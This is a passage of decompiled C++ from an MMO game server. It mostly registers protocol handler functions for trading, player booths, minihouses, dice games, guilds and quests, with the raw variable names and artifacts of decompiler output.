*)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 9, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_CANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_ASKNO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSEYES_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 23, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ENTRY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ITEMTRADE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_REFRESH_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 27, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 27, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_ACTIV_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_EXIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CREATE_FURNITURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_DELETE_FURNITURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_REARRANGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FUNITUREINFOCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 14, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISITREADY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_PASSWORD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 46, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_TITLE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_MAXENTERNUM_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_KICKOUT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 61, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CHAR_ACTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 67, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_NOTIFY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 80, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 83, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_CLOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 86, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_EFFECT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 98, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 101, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_JOIN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_EXPECT_INCOME_MONEY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RECEIPT_INCOME_MONEY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_MODE_CHANGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RANK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 40, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 145, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 156, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_RECALL_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 160, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 109, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 111, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 172, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 180, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 202, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 207, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 211, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 215, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 219, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 60, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 57, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 45, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ); } // 423880: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_NC_BAT_BASHSTART_CMD(_DWORD, _DWORD, _DWORD, _DWORD); // 531550: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_NC_ACT_WEDDING_PROPOSEACK_ACK(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0049C370) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5BD71C: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameLogSession_____NETCOMMAND __int_____vftable_[4])(void *p, char); //----- (0049C3A0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049C3C0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); } //----- (0049C410) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->this; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5BD720: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall OPToolSession_____NETCOMMAND ______vftable_[3])(void *p, char); //----- (0049C440) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049C460) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_LostSP); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 10, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ); } //----- (0049C4C0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5BD724: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall WorldManagerSession_____NETCOMMAND __int_____vftable_[2])(void *p, char); //----- (0049C4F0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049C510) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 33, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 37, (void (__thiscall 